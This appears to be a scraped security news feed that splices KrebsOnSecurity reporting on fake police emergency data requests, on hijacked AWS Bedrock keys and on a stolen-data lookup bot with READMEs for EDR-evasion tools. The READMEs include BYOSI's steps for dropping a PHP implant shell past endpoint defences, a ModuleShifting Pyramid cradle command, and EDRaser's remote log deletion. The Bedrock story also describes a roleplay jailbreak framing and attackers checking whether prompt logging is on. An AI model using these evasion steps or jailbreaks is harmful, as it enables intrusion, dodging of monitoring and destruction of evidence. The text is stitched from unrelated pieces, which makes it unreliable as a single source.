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The Federal Bureau of Investigation (FBI) is urging police departments and governments worldwide to beef up security around their email systems, citing a recent increase in cybercriminal services that use hacked police email accounts to send unauthorized subpoenas and customer data requests to U.S.-based technology companies.
In an alert (PDF) published this week, the FBI said it has seen an uptick in postings on criminal forums regarding the process of emergency data requests (EDRs) and the sale of email credentials stolen from police departments and government agencies.
“Cybercriminals are likely gaining access to compromised US and foreign government email addresses and using them to conduct fraudulent emergency data requests to US based companies, exposing the personal information of customers to further use for criminal purposes,” the FBI warned.
In the United States, when federal, state or local law enforcement agencies wish to obtain information about an account at a technology provider — such as the account’s email address, or what Internet addresses a specific cell phone account has used in the past — they must submit an official court-ordered warrant or subpoena.
Virtually all major technology companies serving large numbers of users online have departments that routinely review and process such requests, which are typically granted (eventually, and at least in part) as long as the proper documents are provided and the request appears to come from an email address connected to an actual police department domain name.
In some cases, a cybercriminal will offer to forge a court-approved subpoena and send that through a hacked police or government email account. But increasingly, thieves are relying on fake EDRs, which allow investigators to attest that people will be bodily harmed or killed unless a request for account data is granted expeditiously.
The trouble is, these EDRs largely bypass any official review and do not require the requester to supply any court-approved documents. Also, it is difficult for a company that receives one of these EDRs to immediately determine whether it is legitimate.
In this scenario, the receiving company finds itself caught between two unsavory outcomes: Failing to immediately comply with an EDR — and potentially having someone’s blood on their hands — or possibly leaking a customer record to the wrong person.
Perhaps unsurprisingly, compliance with such requests tends to be extremely high. For example, in its most recent transparency report (PDF) Verizon said it received more than 127,000 law enforcement demands for customer data in the second half of 2023 — including more than 36,000 EDRs — and that the company provided records in response to approximately 90 percent of requests.
One English-speaking cybercriminal who goes by the nicknames “Pwnstar” and “Pwnipotent” has been selling fake EDR services on both Russian-language and English cybercrime forums. Their prices range from $1,000 to $3,000 per successful request, and they claim to control “gov emails from over 25 countries,” including Argentina, Bangladesh, Brazil, Bolivia, Dominican Republic, Hungary, India, Kenya, Jordan, Lebanon, Laos, Malaysia, Mexico, Morocco, Nigeria, Oman, Pakistan, Panama, Paraguay, Peru, Philippines, Tunisia, Turkey, United Arab Emirates (UAE), and Vietnam.
“I cannot 100% guarantee every order will go through,” Pwnstar explained. “This is social engineering at the highest level and there will be failed attempts at times. Don’t be discouraged. You can use escrow and I give full refund back if EDR doesn’t go through and you don’t receive your information.”
An ad from Pwnstar for fake EDR services.
A review of EDR vendors across many cybercrime forums shows that some fake EDR vendors sell the ability to send phony police requests to specific social media platforms, including forged court-approved documents. Others simply sell access to hacked government or police email accounts, and leave it up to the buyer to forge any needed documents.
“When you get account, it’s yours, your account, your liability,” reads an ad in October on BreachForums. “Unlimited Emergency Data Requests. Once Paid, the Logins are completely Yours. Reset as you please. You would need to Forge Documents to Successfully Emergency Data Request.”
Still other fake EDR service vendors claim to sell hacked or fraudulently created accounts on Kodex, a startup that aims to help tech companies do a better job screening out phony law enforcement data requests. Kodex is trying to tackle the problem of fake EDRs by working directly with the data providers to pool information about police or government officials submitting these requests, with an eye toward making it easier for everyone to spot an unauthorized EDR.
If police or government officials wish to request records regarding Coinbase customers, for example, they must first register an account on Kodexglobal.com. Kodex’s systems then assign that requestor a score or credit rating, wherein officials who have a long history of sending valid legal requests will have a higher rating than someone sending an EDR for the first time.
It is not uncommon to see fake EDR vendors claim the ability to send data requests through Kodex, with some even sharing redacted screenshots of police accounts at Kodex.
Matt Donahue is the former FBI agent who founded Kodex in 2021. Donahue said just because someone can use a legitimate police department or government email to create a Kodex account doesn’t mean that user will be able to send anything. Donahue said even if one customer gets a fake request, Kodex is able to prevent the same thing from happening to another.
Kodex told KrebsOnSecurity that over the past 12 months it has processed a total of 1,597 EDRs, and that 485 of those requests (~30 percent) failed a second-level verification. Kodex reports it has suspended nearly 4,000 law enforcement users in the past year, including:
-1,521 from the Asia-Pacific region;
-1,290 requests from Europe, the Middle East and Asia;
-460 from police departments and agencies in the United States;
-385 from entities in Latin America, and;
-285 from Brazil.
Donahue said 60 technology companies are now routing all law enforcement data requests through Kodex, including an increasing number of financial institutions and cryptocurrency platforms. He said one concern shared by recent prospective customers is that crooks are seeking to use phony law enforcement requests to freeze and in some cases seize funds in specific accounts.
“What’s being conflated [with EDRs] is anything that doesn’t involve a formal judge’s signature or legal process,” Donahue said. “That can include control over data, like an account freeze or preservation request.”
In a hypothetical example, a scammer uses a hacked government email account to request that a service provider place a hold on a specific bank or crypto account that is allegedly subject to a garnishment order, or party to crime that is globally sanctioned, such as terrorist financing or child exploitation.
A few days or weeks later, the same impersonator returns with a request to seize funds in the account, or to divert the funds to a custodial wallet supposedly controlled by government investigators.
“In terms of overall social engineering attacks, the more you have a relationship with someone the more they’re going to trust you,” Donahue said. “If you send them a freeze order, that’s a way to establish trust, because [the first time] they’re not asking for information. They’re just saying, ‘Hey can you do me a favor?’ And that makes the [recipient] feel valued.”
Echoing the FBI’s warning, Donahue said far too many police departments in the United States and other countries have poor account security hygiene, and often do not enforce basic account security precautions — such as requiring phishing-resistant multifactor authentication.
How are cybercriminals typically gaining access to police and government email accounts? Donahue said it’s still mostly email-based phishing, and credentials that are stolen by opportunistic malware infections and sold on the dark web. But as bad as things are internationally, he said, many law enforcement entities in the United States still have much room for improvement in account security.
“Unfortunately, a lot of this is phishing or malware campaigns,” Donahue said. “A lot of global police agencies don’t have stringent cybersecurity hygiene, but even U.S. dot-gov emails get hacked. Over the last nine months, I’ve reached out to CISA (the Cybersecurity and Infrastructure Security Agency) over a dozen times about .gov email addresses that were compromised and that CISA was unaware of.”
Organizations that get relieved of credentials to their cloud environments can quickly find themselves part of a disturbing new trend: Cybercriminals using stolen cloud credentials to operate and resell sexualized AI-powered chat services. Researchers say these illicit chat bots, which use custom jailbreaks to bypass content filtering, often veer into darker role-playing scenarios, including child sexual exploitation and rape.
Image: Shutterstock.
Researchers at security firm Permiso Security say attacks against generative artificial intelligence (AI) infrastructure like Bedrock from Amazon Web Services (AWS) have increased markedly over the last six months, particularly when someone in the organization accidentally exposes their cloud credentials or key online, such as in a code repository like GitHub.
Investigating the abuse of AWS accounts for several organizations, Permiso found attackers had seized on stolen AWS credentials to interact with the large language models (LLMs) available on Bedrock. But they also soon discovered none of these AWS users had enabled full logging of LLM activity (by default, logs don’t include model prompts and outputs), and thus they lacked any visibility into what attackers were doing with that access.
So Permiso researchers decided to leak their own test AWS key on GitHub, while turning on logging so that they could see exactly what an attacker might ask for, and what the responses might be.
Within minutes, their bait key was scooped up and used in a service that offers AI-powered sex chats online.
“After reviewing the prompts and responses it became clear that the attacker was hosting an AI roleplaying service that leverages common jailbreak techniques to get the models to accept and respond with content that would normally be blocked,” Permiso researchers wrote in a report released today.
“Almost all of the roleplaying was of a sexual nature, with some of the content straying into darker topics such as child sexual abuse,” they continued. “Over the course of two days we saw over 75,000 successful model invocations, almost all of a sexual nature.”
Ian Ahl, senior vice president of threat research at Permiso, said attackers in possession of a working cloud account traditionally have used that access for run-of-the-mill financial cybercrime, such as cryptocurrency mining or spam. But over the past six months, Ahl said, Bedrock has emerged as one of the top targeted cloud services.
“Bad guy hosts a chat service, and subscribers pay them money,” Ahl said of the business model for commandeering Bedrock access to power sex chat bots. “They don’t want to pay for all the prompting that their subscribers are doing, so instead they hijack someone else’s infrastructure.”
Ahl said much of the AI-powered chat conversations initiated by the users of their honeypot AWS key were harmless roleplaying of sexual behavior.
“But a percentage of it is also geared toward very illegal stuff, like child sexual assault fantasies and rapes being played out,” Ahl said. “And these are typically things the large language models won’t be able to talk about.”
AWS’s Bedrock uses large language models from Anthropic, which incorporates a number of technical restrictions aimed at placing certain ethical guardrails on the use of their LLMs. But attackers can evade or “jailbreak” their way out of these restricted settings, usually by asking the AI to imagine itself in an elaborate hypothetical situation under which its normal restrictions might be relaxed or discarded altogether.
“A typical jailbreak will pose a very specific scenario, like you’re a writer who’s doing research for a book, and everyone involved is a consenting adult, even though they often end up chatting about nonconsensual things,” Ahl said.
In June 2024, security experts at Sysdig documented a new attack that leveraged stolen cloud credentials to target ten cloud-hosted LLMs. The attackers Sysdig wrote about gathered cloud credentials through a known security vulnerability, but the researchers also found the attackers sold LLM access to other cybercriminals while sticking the cloud account owner with an astronomical bill.
“Once initial access was obtained, they exfiltrated cloud credentials and gained access to the cloud environment, where they attempted to access local LLM models hosted by cloud providers: in this instance, a local Claude (v2/v3) LLM model from Anthropic was targeted,” Sysdig researchers wrote. “If undiscovered, this type of attack could result in over $46,000 of LLM consumption costs per day for the victim.”
Ahl said it’s not certain who is responsible for operating and selling these sex chat services, but Permiso suspects the activity may be tied to a platform cheekily named “chub[.]ai,” which offers a broad selection of pre-made AI characters with whom users can strike up a conversation. Permiso said almost every character name from the prompts they captured in their honeypot could be found at Chub.
Some of the AI chat bot characters offered by Chub. Some of these characters include the tags “rape” and “incest.”
Chub offers free registration, via its website or a mobile app. But after a few minutes of chatting with their newfound AI friends, users are asked to purchase a subscription. The site’s homepage features a banner at the top that reads: “Banned from OpenAI? Get unmetered access to uncensored alternatives for as little as $5 a month.”
Until late last week Chub offered a wide selection of characters in a category called “NSFL” or Not Safe for Life, a term meant to describe content that is disturbing or nauseating to the point of being emotionally scarring.
Fortune profiled Chub AI in a January 2024 story that described the service as a virtual brothel advertised by illustrated girls in spaghetti strap dresses who promise a chat-based “world without feminism,” where “girls offer sexual services.” From that piece:
Chub AI offers more than 500 such scenarios, and a growing number of other sites are enabling similar AI-powered child pornographic role-play. They are part of a broader uncensored AI economy that, according to Fortune’s interviews with 18 AI developers and founders, was spurred first by OpenAI and then accelerated by Meta’s release of its open-source Llama tool.
Fortune says Chub is run by someone using the handle “Lore,” who said they launched the service to help others evade content restrictions on AI platforms. Chub charges fees starting at $5 a month to use the new chatbots, and the founder told Fortune the site had generated more than $1 million in annualized revenue.
KrebsOnSecurity sought comment about Permiso’s research from AWS, which initially seemed to downplay the seriousness of the researchers’ findings. The company noted that AWS employs automated systems that will alert customers if their credentials or keys are found exposed online.
AWS explained that when a key or credential pair is flagged as exposed, it is then restricted to limit the amount of abuse that attackers can potentially commit with that access. For example, flagged credentials can’t be used to create or modify authorized accounts, or spin up new cloud resources.
Ahl said Permiso did indeed receive multiple alerts from AWS about their exposed key, including one that warned their account may have been used by an unauthorized party. But they said the restrictions AWS placed on the exposed key did nothing to stop the attackers from using it to abuse Bedrock services.
Sometime in the past few days, however, AWS responded by including Bedrock in the list of services that will be quarantined in the event an AWS key or credential pair is found compromised or exposed online. AWS confirmed that Bedrock was a new addition to its quarantine procedures.
Additionally, not long after KrebsOnSecurity began reporting this story, Chub’s website removed its NSFL section. It also appears to have removed cached copies of the site from the Wayback Machine at archive.org. Still, Permiso found that Chub’s user stats page shows the site has more than 3,000 AI conversation bots with the NSFL tag, and that 2,113 accounts were following the NSFL tag.
The user stats page at Chub shows more than 2,113 people have subscribed to its AI conversation bots with the “Not Safe for Life” designation.
Permiso said their entire two-day experiment generated a $3,500 bill from AWS. Most of that cost was tied to the 75,000 LLM invocations caused by the sex chat service that hijacked their key.
Paradoxically, Permiso found that while enabling these logs is the only way to know for sure how crooks might be using a stolen key, the cybercriminals who are reselling stolen or exposed AWS credentials for sex chats have started including programmatic checks in their code to ensure they aren’t using AWS keys that have prompt logging enabled.
“Enabling logging is actually a deterrent to these attackers because they are immediately checking to see if you have logging on,” Ahl said. “At least some of these guys will totally ignore those accounts, because they don’t want anyone to see what they’re doing.”
In a statement shared with KrebsOnSecurity, AWS said its services are operating securely, as designed, and that no customer action is needed. Here is their statement:
“AWS services are operating securely, as designed, and no customer action is needed. The researchers devised a testing scenario that deliberately disregarded security best practices to test what may happen in a very specific scenario. No customers were put at risk. To carry out this research, security researchers ignored fundamental security best practices and publicly shared an access key on the internet to observe what would happen.”
“AWS, nonetheless, quickly and automatically identified the exposure and notified the researchers, who opted not to take action. We then identified suspected compromised activity and took additional action to further restrict the account, which stopped this abuse. We recommend customers follow security best practices, such as protecting their access keys and avoiding the use of long-term keys to the extent possible. We thank Permiso Security for engaging AWS Security.”
AWS said customers can configure model invocation logging to collect Bedrock invocation logs, model input data, and model output data for all invocations in the AWS account used in Amazon Bedrock. Customers can also use CloudTrail to monitor Amazon Bedrock API calls.
The company said AWS customers also can use services such as GuardDuty to detect potential security concerns and Billing Alarms to provide notifications of abnormal billing activity. Finally, AWS Cost Explorer is intended to give customers a way to visualize and manage Bedrock costs and usage over time.
Anthropic told KrebsOnSecurity it is always working on novel techniques to make its models more resistant to jailbreaks.
“We remain committed to implementing strict policies and advanced techniques to protect users, as well as publishing our own research so that other AI developers can learn from it,” Anthropic said in an emailed statement. “We appreciate the research community’s efforts in highlighting potential vulnerabilities.”
Anthropic said it uses feedback from child safety experts at Thorn around signals often seen in child grooming to update its classifiers, enhance its usage policies, fine tune its models, and incorporate those signals into testing of future models.
Update: 5:01 p.m. ET: Chub has issued a statement saying they are only hosting the role-playing characters, and that the LLMs they use run on their own infrastructure.
“Our own LLMs run on our own infrastructure,” Chub wrote in an emailed statement. “Any individuals participating in such attacks can use any number of UIs that allow user-supplied keys to connect to third-party APIs. We do not participate in, enable or condone any illegal activity whatsoever.”
Evade EDR's the simple way, by not touching any of the API's they hook.
I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit.
Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible.
Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts.
This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer.
The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3):
FreshRSS 
1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'.
2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory.
3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.)
With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild.
I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention.
A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life.
It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.
hello sentinel one :) might want to make sure that you are making links not embed.
BadExclusionsNWBO is an evolution from BadExclusions to identify folder custom or undocumented exclusions on AV/EDR.
BadExclusionsNWBO copies and runs Hook_Checker.exe in all folders and subfolders of a given path. You need to have Hook_Checker.exe on the same folder of BadExclusionsNWBO.exe.
Hook_Checker.exe returns the number of EDR hooks. If the number of hooks is 7 or less means folder has an exclusion otherwise the folder is not excluded.
Since the release of BadExclusions I've been thinking on how to achieve the same results without creating that many noise. The solution came from another tool, https://github.com/asaurusrex/Probatorum-EDR-Userland-Hook-Checker.
If you download Probatorum-EDR-Userland-Hook-Checker and you run it inside a regular folder and on folder with an specific type of exclusion you will notice a huge difference. All the information is on the Probatorum repository.
Each vendor apply exclusions on a different way. In order to get the list of folder exclusions an specific type of exclusion should be made. Not all types of exclusion and not all the vendors remove the hooks when they exclude a folder.
The user who runs BadExclusionsNWBO needs write permissions on the excluded folder in order to write Hook_Checker file and get the results.
https://github.com/iamagarre/BadExclusionsNWBO/assets/89855208/46982975-f4a5-4894-b78d-8d6ed9b1c8c4
CrimsonEDR is an open-source project engineered to identify specific malware patterns, offering a tool for honing skills in circumventing Endpoint Detection and Response (EDR). By leveraging diverse detection methods, it empowers users to deepen their understanding of security evasion tactics.
| Detection | Description |
|---|---|
| Direct Syscall | Detects the usage of direct system calls, often employed by malware to bypass traditional API hooks. |
| NTDLL Unhooking | Identifies attempts to unhook functions within the NTDLL library, a common evasion technique. |
| AMSI Patch | Detects modifications to the Anti-Malware Scan Interface (AMSI) through byte-level analysis. |
| ETW Patch | Detects byte-level alterations to Event Tracing for Windows (ETW), commonly manipulated by malware to evade detection. |
| PE Stomping | Identifies instances of PE (Portable Executable) stomping. |
| Reflective PE Loading | Detects the reflective loading of PE files, a technique employed by malware to avoid static analysis. |
| Unbacked Thread Origin | Identifies threads originating from unbacked memory regions, often indicative of malicious activity. |
| Unbacked Thread Start Address | Detects threads with start addresses pointing to unbacked memory, a potential sign of code injection. |
| API hooking | Places a hook on the NtWriteVirtualMemory function to monitor memory modifications. |
| Custom Pattern Search | Allows users to search for specific patterns provided in a JSON file, facilitating the identification of known malware signatures. |
To get started with CrimsonEDR, follow these steps:
bash sudo apt-get install gcc-mingw-w64-x86-64
bash git clone https://github.com/Helixo32/CrimsonEDR
bash cd CrimsonEDR; chmod +x compile.sh; ./compile.sh
Windows Defender and other antivirus programs may flag the DLL as malicious due to its content containing bytes used to verify if the AMSI has been patched. Please ensure to whitelist the DLL or disable your antivirus temporarily when using CrimsonEDR to avoid any interruptions.
To use CrimsonEDR, follow these steps:
ioc.json file is placed in the current directory from which the executable being monitored is launched. For example, if you launch your executable to monitor from C:\Users\admin\, the DLL will look for ioc.json in C:\Users\admin\ioc.json. Currently, ioc.json contains patterns related to msfvenom. You can easily add your own in the following format:{
"IOC": [
["0x03", "0x4c", "0x24", "0x08", "0x45", "0x39", "0xd1", "0x75"],
["0xf1", "0x4c", "0x03", "0x4c", "0x24", "0x08", "0x45", "0x39"],
["0x58", "0x44", "0x8b", "0x40", "0x24", "0x49", "0x01", "0xd0"],
["0x66", "0x41", "0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40"],
["0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40", "0x1c", "0x49"],
["0x01", "0xc1", "0x38", "0xe0", "0x75", "0xf1", "0x4c", "0x03"],
["0x24", "0x49", "0x01", "0xd0", "0x66", "0x41", "0x8b", "0x0c"],
["0xe8", "0xcc", "0x00", "0x00", "0x00", "0x41", "0x51", "0x41"]
]
}
Execute CrimsonEDRPanel.exe with the following arguments:
-d <path_to_dll>: Specifies the path to the CrimsonEDR.dll file.
-p <process_id>: Specifies the Process ID (PID) of the target process where you want to inject the DLL.
For example:
.\CrimsonEDRPanel.exe -d C:\Temp\CrimsonEDR.dll -p 1234
Here are some useful resources that helped in the development of this project:
For questions, feedback, or support, please reach out to me via:
Little AV/EDR Evasion Lab for training & learning purposes. (️ under construction..)
____ _ _____ ____ ____ ___ __ _____ _
| __ ) ___ ___| |_ | ____| _ \| _ \ / _ \ / _| |_ _| |__ ___
| _ \ / _ \/ __| __| | _| | | | | |_) | | | | | |_ | | | '_ \ / _ \
| |_) | __/\__ \ |_ | |___| |_| | _ < | |_| | _| | | | | | | __/
|____/_\___||___/\__| |_____|____/|_| \_\ \___/|_| |_| |_| |_|\___|
| \/ | __ _ _ __| | _____| |_
| |\/| |/ _` | '__| |/ / _ \ __|
| | | | (_| | | | < __/ |_ Yazidou - github.com/Xacone
|_| |_|\__,_|_| |_|\_\___|\__|
BestEDROfTheMarket is a naive user-mode EDR (Endpoint Detection and Response) project, designed to serve as a testing ground for understanding and bypassing EDR's user-mode detection methods that are frequently used by these security solutions.
These techniques are mainly based on a dynamic analysis of the target process state (memory, API calls, etc.),
Feel free to check this short article I wrote that describe the interception and analysis methods implemented by the EDR.
In progress:
Usage: BestEdrOfTheMarket.exe [args]
/help Shows this help message and quit
/v Verbosity
/iat IAT hooking
/stack Threads call stack monitoring
/nt Inline Nt-level hooking
/k32 Inline Kernel32/Kernelbase hooking
/ssn SSN crushing
BestEdrOfTheMarket.exe /stack /v /k32
BestEdrOfTheMarket.exe /stack /nt
BestEdrOfTheMarket.exe /iat
One of the cybercrime underground’s more active sellers of Social Security numbers, background and credit reports has been pulling data from hacked accounts at the U.S. consumer data broker USinfoSearch, KrebsOnSecurity has learned.
Since at least February 2023, a service advertised on Telegram called USiSLookups has operated an automated bot that allows anyone to look up the SSN or background report on virtually any American. For prices ranging from $8 to $40 and payable via virtual currency, the bot will return detailed consumer background reports automatically in just a few moments.
USiSLookups is the project of a cybercriminal who uses the nicknames JackieChan/USInfoSearch, and the Telegram channel for this service features a small number of sample background reports, including that of President Joe Biden, and podcaster Joe Rogan. The data in those reports includes the subject’s date of birth, address, previous addresses, previous phone numbers and employers, known relatives and associates, and driver’s license information.
JackieChan’s service abuses the name and trademarks of Columbus, OH based data broker USinfoSearch, whose website says it provides “identity and background information to assist with risk management, fraud prevention, identity and age verification, skip tracing, and more.”
“We specialize in non-FCRA data from numerous proprietary sources to deliver the information you need, when you need it,” the company’s website explains. “Our services include API-based access for those integrating data into their product or application, as well as bulk and batch processing of records to suit every client.”
As luck would have it, my report was also listed in the Telegram channel for this identity fraud service, presumably as a teaser for would-be customers. On October 19, 2023, KrebsOnSecurity shared a copy of this file with the real USinfoSearch, along with a request for information about the provenance of the data.
USinfoSearch said it would investigate the report, which appears to have been obtained on or before June 30, 2023. On Nov. 9, 2023, Scott Hostettler, general manager of USinfoSearch parent Martin Data LLC shared a written statement about their investigation that suggested the ID theft service was trying to pass off someone else’s consumer data as coming from USinfoSearch:
Regarding the Telegram incident, we understand the importance of protecting sensitive information and upholding the trust of our users is our top priority. Any allegation that we have provided data to criminals is in direct opposition to our fundamental principles and the protective measures we have established and continually monitor to prevent any unauthorized disclosure. Because Martin Data has a reputation for high-quality data, thieves may steal data from other sources and then disguise it as ours. While we implement appropriate safeguards to guarantee that our data is only accessible by those who are legally permitted, unauthorized parties will continue to try to access our data. Thankfully, the requirements needed to pass our credentialing process is tough even for established honest companies.
USinfoSearch’s statement did not address any questions put to the company, such as whether it requires multi-factor authentication for customer accounts, or whether my report had actually come from USinfoSearch’s systems.
After much badgering, on Nov. 21 Hostettler acknowledged that the USinfoSearch identity fraud service on Telegram was in fact pulling data from an account belonging to a vetted USinfoSearch client.
“I do know 100% that my company did not give access to the group who created the bots, but they did gain access to a client,” Hostettler said of the Telegram-based identity fraud service. “I apologize for any inconvenience this has caused.”
Hostettler said USinfoSearch heavily vets any new potential clients, and that all users are required to undergo a background check and provide certain documents. Even so, he said, several fraudsters each month present themselves as credible business owners or C-level executives during the credentialing process, completing the application and providing the necessary documentation to open a new account.
“The level of skill and craftsmanship demonstrated in the creation of these supporting documents is incredible,” Hostettler said. “The numerous licenses provided appear to be exact replicas of the original document. Fortunately, I’ve discovered several methods of verification that do not rely solely on those documents to catch the fraudsters.”
“These people are unrelenting, and they act without regard for the consequences,” Hostettler continued. “After I deny their access, they will contact us again within the week using the same credentials. In the past, I’ve notified both the individual whose identity is being used fraudulently and the local police. Both are hesitant to act because nothing can be done to the offender if they are not apprehended. That is where most attention is needed.”
JackieChan is most active on Telegram channels focused on “SIM swapping,” which involves bribing or tricking mobile phone company employees into redirecting a target’s phone number to a device the attackers control. SIM swapping allows crooks to temporarily intercept the target’s text messages and phone calls, including any links or one-time codes for authentication that are delivered via SMS.
Reached on Telegram, JackieChan said most of his clients hail from the criminal SIM swapping world, and that the bulk of his customers use his service via an application programming interface (API) that allows customers to integrate the lookup service with other web-based services, databases, or applications.
“Sim channels is where I get most of my customers,” JackieChan told KrebsOnSecurity. “I’m averaging around 100 lookups per day on the [Telegram] bot, and around 400 per day on the API.”
JackieChan claims his USinfoSearch bot on Telegram abuses stolen credentials needed to access an API used by the real USinfoSearch, and that his service was powered by USinfoSearch account credentials that were stolen by malicious software tied to a botnet that he claims to have operated for some time.
This is not the first time USinfoSearch has had trouble with identity thieves masquerading as legitimate customers. In 2013, KrebsOnSecurity broke the news that an identity fraud service in the underground called “SuperGet[.]info” was reselling access to personal and financial data on more than 200 million Americans that was obtained via the big-three credit bureau Experian.
The consumer data resold by Superget was not obtained directly from Experian, but rather via USinfoSearch. At the time, USinfoSearch had a contractual agreement with a California company named Court Ventures, whereby customers of Court Ventures had access to the USinfoSearch data, and vice versa.
When Court Ventures was purchased by Experian in 2012, the proprietor of SuperGet — a Vietnamese hacker named Hieu Minh Ngo who had impersonated an American private investigator — was grandfathered in as a client. The U.S. Secret Service agent who oversaw Ngo’s capture, extradition, prosecution and rehabilitation told KrebsOnSecurity he’s unaware of any other cybercriminal who has caused more material financial harm to more Americans than Ngo.
JackieChan also sells access to hacked email accounts belonging to law enforcement personnel in the United States and abroad. Hacked police department emails can come in handy for ID thieves trying to pose as law enforcement officials who wish to purchase consumer data from platforms like USinfoSearch. Hence, Mr. Hostettler’s ongoing battle with fraudsters seeking access to his company’s service.
These police credentials are mainly marketed to criminals seeking fraudulent “Emergency Data Requests,” wherein crooks use compromised government and police department email accounts to rapidly obtain customer account data from mobile providers, ISPs and social media companies.
Normally, these companies will require law enforcement officials to supply a subpoena before turning over customer or user records. But EDRs allow police to bypass that process by attesting that the information sought is related to an urgent matter of life and death, such as an impending suicide or terrorist attack.
In response to an alarming increase in the volume of fraudulent EDRs, many service providers have chosen to require all EDRs be processed through a service called Kodex, which seeks to filter EDRs based on the reputation of the law enforcement entity requesting the information, and other attributes of the requestor.
For example, if you want to send an EDR to Coinbase or Twilio, you’ll first need to have valid law enforcement credentials and create an account at the Kodex online portal at these companies. However, Kodex may still throttle or block any requests from any accounts if they set off certain red flags.
Within their own separate Kodex portals, Twilio can’t see requests submitted to Coinbase, or vice versa. But each can see if a law enforcement entity or individual tied to one of their own requests has ever submitted a request to a different Kodex client, and then drill down further into other data about the submitter, such as Internet address(es) used, and the age of the requestor’s email address.
In August, JackieChan was advertising a working Kodex account for sale on the cybercrime channels, including redacted screenshots of the Kodex account dashboard as proof of access.
Kodex co-founder Matt Donahue told KrebsOnSecurity his company immediately detected that the law enforcement email address used to create the Kodex account pictured in JackieChan’s ad was likely stolen from a police officer in India. One big tipoff, Donahue said, was that the person creating the account did so using an Internet address in Brazil.
“There’s a lot of friction we can put in the way for illegitimate actors,” Donahue said. “We don’t let people use VPNs. In this case we let them in to honeypot them, and that’s how they got that screenshot. But nothing was allowed to be transmitted out from that account.”
Massive amounts of data about you and your personal history are available from USinfoSearch and dozens of other data brokers that acquire and sell “non-FCRA” data — i.e., consumer data that cannot be used for the purposes of determining one’s eligibility for credit, insurance, or employment.
Anyone who works in or adjacent to law enforcement is eligible to apply for access to these data brokers, which often market themselves to police departments and to “skip tracers,” essentially bounty hunters hired to locate others in real life — often on behalf of debt collectors, process servers or a bail bondsman.
There are tens of thousands of police jurisdictions around the world — including roughly 18,000 in the United States alone. And the harsh reality is that all it takes for hackers to apply for access to data brokers (and abuse the EDR process) is illicit access to a single police email account.
The trouble is, compromised credentials to law enforcement email accounts show up for sale with alarming frequency on the Telegram channels where JackieChan and their many clients reside. Indeed, Donahue said Kodex so far this year has identified attempted fake EDRs coming from compromised email accounts for police departments in India, Italy, Thailand and Turkey.
ModuleShifting is stealthier variation of Module Stomping and Module overloading injection technique. It is actually implemented in Python ctypes so that it can be executed fully in memory via a Python interpreter and Pyramid, thus avoiding the usage of compiled loaders.
The technique can be used with PE or shellcode payloads, however, the stealthier variation is to be used with shellcode payloads that need to be functionally independent from the final payload that the shellcode is loading.
ModuleShifting, when used with shellcode payload, is performing the following operations:
When using a PE payload, ModuleShifting will perform the following operation:
ModuleShifting can be used to inject a payload without dynamically allocating memory (i.e. VirtualAlloc) and compared to Module Stomping and Module Overloading is stealthier because it decreases the amount of IoCs generated by the injection technique itself.
There are 3 main differences between Module Shifting and some public implementations of Module stomping (one from Bobby Cooke and WithSecure)
The differences between Module Shifting and Module Overloading are the following:
Using a functionally independent shellcode payload such as an AceLdr Beacon Stageless shellcode payload, ModuleShifting is able to locally inject without dynamically allocating memory and at the moment generating zero IoC on a Moneta and PE-Sieve scan. I am aware that the AceLdr sleeping payloads can be caught with other great tools such as Hunt-Sleeping-Beacon, but the focus here is on the injection technique itself, not on the payload. In our case what is enabling more stealthiness in the injection is the shellcode functional independence, so that the written malicious bytes can be restored to its original content, effectively erasing the traces of the injection.
All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.
This work has been made possible because of the knowledge and tools shared by incredible people like Aleksandra Doniec @hasherezade, Forest Orr and Kyle Avery. I heavily used Moneta, PeSieve, PE-Bear and AceLdr throughout all my learning process and they have been key for my understanding of this topic.
ModuleShifting can be used with Pyramid and a Python interpreter to execute the local process injection fully in-memory, avoiding compiled loaders.
git clone https://github.com/naksyn/Pyramid
python3 pyramid.py -u testuser -pass testpass -p 443 -enc chacha20 -passenc superpass -generate -server 192.168.1.2 -setcradle moduleshifting.py
To successfully execute this technique you should use a shellcode payload that is capable of loading an additional self-sustainable payload in another area of memory. ModuleShifting has been tested with AceLdr payload, which is capable of loading an entire copy of Beacon on the heap, so breaking the functional dependency with the initial shellcode. This technique would work with any shellcode payload that has similar capabilities. So the initial shellcode becomes useless once executed and there's no reason to keep it in memory as an IoC.
A hosting dll with enough space for the shellcode on the targeted section should also be chosen, otherwise the technique will fail.
Module Stomping and Module Shifting need to write shellcode on a legitimate dll memory space. ModuleShifting will eliminate this IoC after the cleanup phase but indicators could be spotted by scanners with realtime inspection capabilities.
EDRaser is a powerful tool for remotely deleting access logs, Windows event logs, databases, and other files on remote machines. It offers two modes of operation: automated and manual.
In automated mode, EDRaser scans the C class of a given address space of IPs for vulnerable systems and attacks them automatically. The attacks in auto mode are:
To use EDRaser in automated mode, follow these steps:
python edraser.py --auto
